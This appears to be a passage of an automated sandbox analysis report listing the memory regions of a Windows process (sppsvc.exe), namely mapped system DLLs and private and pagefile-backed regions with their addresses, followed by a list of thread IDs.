region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2329 start_va = 0x7fefda30000 end_va = 0x7fefdb9cfff monitored = 0 entry_point = 0x7fefda310b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2330 start_va = 0x7fefde50000 end_va = 0x7fefdee8fff monitored = 0 entry_point = 0x7fefde51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2331 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2332 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2333 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2334 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2335 start_va = 0x7fefef90000 end_va = 0x7feff166fff monitored = 0 entry_point = 0x7fefef91010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2336 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2337 start_va = 0x7feff4e0000 end_va = 0x7feff531fff monitored = 0 entry_point = 0x7feff4e10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2338 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2339 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2340 start_va = 0x7feff630000 end_va = 0x7feff6a0fff monitored = 0 entry_point = 0x7feff641e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2341 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2342 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2343 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2344 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2345 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2346 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2347 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2348 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 2349 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 2350 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 2351 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 2352 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 2353 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2354 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2355 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2356 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2357 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2358 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2359 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2360 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2361 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2362 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2363 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2364 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2365 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2366 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2367 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 2368 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 2369 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 2370 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2372 start_va = 0x28f0000 end_va = 0x296ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 2373 start_va = 0x33c0000 end_va = 0x371efff monitored = 0 entry_point = 0x340c21c region_type = mapped_file name = "sppsvc.exe" filename = "\\Windows\\System32\\sppsvc.exe" (normalized: "c:\\windows\\system32\\sppsvc.exe") Region: id = 2374 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 2776 start_va = 0x930000 end_va = 0x931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 2777 start_va = 0x33c0000 end_va = 0x371efff monitored = 0 entry_point = 0x340c21c region_type = mapped_file name = "sppsvc.exe" filename = "\\Windows\\System32\\sppsvc.exe" (normalized: "c:\\windows\\system32\\sppsvc.exe") Region: id = 2778 start_va = 0x7fef39c0000 end_va = 0x7fef3b3ffff monitored = 0 entry_point = 0x7fef39f80d0 region_type = mapped_file name = "racengn.dll" filename = "\\Windows\\System32\\RacEngn.dll" (normalized: "c:\\windows\\system32\\racengn.dll") Region: id = 2781 start_va = 0x7fefad00000 end_va = 0x7fefad26fff monitored = 0 entry_point = 0x7fefad1b69c region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Thread: id = 83 os_tid = 0x830 Thread: id = 84 os_tid = 0x500 Thread: id = 85 os_tid = 0x7fc Thread: id = 86 os_tid = 0x61c Thread: id = 87 os_tid = 0x600 Thread: id = 88 os_tid = 0x6d4 Thread: id = 89 os_tid = 0x564 Thread: id = 90 os_tid = 0x7e8 Thread: id = 91 os_tid = 0x544 Thread: id = 92 os_tid = 0x540 Thread: id = 93 os_tid = 0x53c Thread: id = 94 os_tid = 0x420 Thread: id = 95 os_tid = 0x408 Thread: id = 96 os_tid = 0x3b8 Thread: id = 97 os_tid = 0x3b4 Thread: id = 98 os_tid = 0x3a4 Thread: id = 99 os_tid = 0x2fc Thread: id = 100 os_tid = 0x2f8 Thread: id = 101 os_tid = 0x2e4 Thread: id = 102 os_tid = 0x2d4 Thread: id = 103 os_tid = 0x2cc Thread: id = 104 os_tid = 0xaa4 Thread: id = 110 os_tid = 0xaf4 Thread: id = 111 os_tid = 0xb10